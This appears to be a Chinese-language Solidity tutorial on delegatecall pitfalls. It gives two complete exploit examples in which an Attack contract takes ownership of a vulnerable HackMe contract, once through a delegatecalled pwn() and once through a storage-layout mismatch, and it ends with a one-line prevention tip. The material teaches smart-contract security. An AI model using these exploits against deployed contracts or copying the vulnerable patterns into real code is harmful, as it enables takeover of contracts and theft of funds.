委托调用

delegatecall使用起来很棘手，错误的使用或不正确的理解可能会导致灾难性的结果。

使用时必须记住两件事delegatecall

delegatecall保留上下文（存储、调用者等...）
delegatecall合约调用和被调用合约的存储布局必须相同

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

这是另一个例子。

在了解此漏洞之前，您需要了解 Solidity 如何存储状态变量。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
This is a more sophisticated version of the previous exploit.

1. Alice deploys Lib and HackMe with the address of Lib
2. Eve deploys Attack with the address of HackMe
3. Eve calls Attack.attack()
4. Attack is now the owner of HackMe

What happened?
Notice that the state variables are not defined in the same manner in Lib
and HackMe. This means that calling Lib.doSomething() will change the first
state variable inside HackMe, which happens to be the address of lib.

Inside attack(), the first call to doSomething() changes the address of lib
store in HackMe. Address of lib is now set to Attack.
The second call to doSomething() calls Attack.doSomething() and here we
change the owner.
*/

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}

预防技术

使用无状态Library

委托调用​

委托调用